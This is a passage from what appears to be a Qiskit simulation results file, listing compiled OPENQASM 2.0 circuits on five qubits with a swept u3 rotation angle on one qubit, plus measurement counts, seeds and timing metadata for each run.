q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.80000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1223', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 3229432871, 'status': 'DONE', 'data': {'counts': {'0x3': 2024, '0x1': 25, '0x0': 4051, '0x2': 2092}}, 'success': True, 'shots': 8192, 'time_taken': 0.435585918, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.90000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1225', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 1466982531, 'status': 'DONE', 'data': {'counts': {'0x3': 2005, '0x1': 41, '0x0': 4061, '0x2': 2085}}, 'success': True, 'shots': 8192, 'time_taken': 0.43853284000000003, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.00000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1227', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 408969758, 'status': 'DONE', 'data': {'counts': {'0x3': 1895, '0x1': 103, '0x0': 4043, '0x2': 2151}}, 'success': True, 'shots': 8192, 'time_taken': 0.442975697, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.10000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1229', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 289707535, 'status': 'DONE', 'data': {'counts': {'0x3': 1930, '0x1': 140, '0x0': 3889, '0x2': 2233}}, 'success': True, 'shots': 8192, 'time_taken': 0.441204739, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.20000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1231', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 2429258221, 'status': 'DONE', 'data': {'counts': {'0x3': 1868, '0x1': 216, '0x0': 3836, '0x2': 2272}}, 'success': True, 'shots': 8192, 'time_taken': 0.440369948, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.30000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1233', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 3962264607, 'status': 'DONE', 'data': {'counts': {'0x3': 1813, '0x1': 273, '0x0': 3792, '0x2': 2314}}, 'success': True, 'shots': 8192, 'time_taken': 0.44103382300000005, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.40000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1235', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 645436470, 'status': 'DONE', 'data': {'counts': {'0x3': 1653, '0x1': 350, '0x0': 3825, '0x2': 2364}}, 'success': True, 'shots': 8192, 'time_taken': 0.444235443, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.50000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1237', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 1752577543, 'status': 'DONE', 'data': {'counts': {'0x3': 1625, '0x1': 385, '0x0': 3719, '0x2': 2463}}, 'success': True, 'shots': 8192, 'time_taken': 0.441639219, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.60000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1239', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 2383434823, 'status': 'DONE', 'data': {'counts': {'0x3': 1528, '0x1': 502, '0x0': 3644, '0x2': 2518}}, 'success': True, 'shots': 8192, 'time_taken': 0.43974835, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.70000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1241', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 2501049143, 'status': 'DONE', 'data': {'counts': {'0x3': 1442, '0x1': 516, '0x0': 3569, '0x2': 2665}}, 'success': True, 'shots': 8192, 'time_taken': 0.434714947, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.80000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1243', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 3135667686, 'status': 'DONE', 'data': {'counts': {'0x3': 1356, '0x1': 673, '0x0': 3347, '0x2': 2816}}, 'success': True, 'shots': 8192, 'time_taken': 0.45146913800000005, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.90000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1245', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 1029453338, 'status': 'DONE', 'data': {'counts': {'0x3': 1256, '0x1': 776, '0x0': 3349, '0x2': 2811}}, 'success': True, 'shots': 8192, 'time_taken': 0.444856446, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.00000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 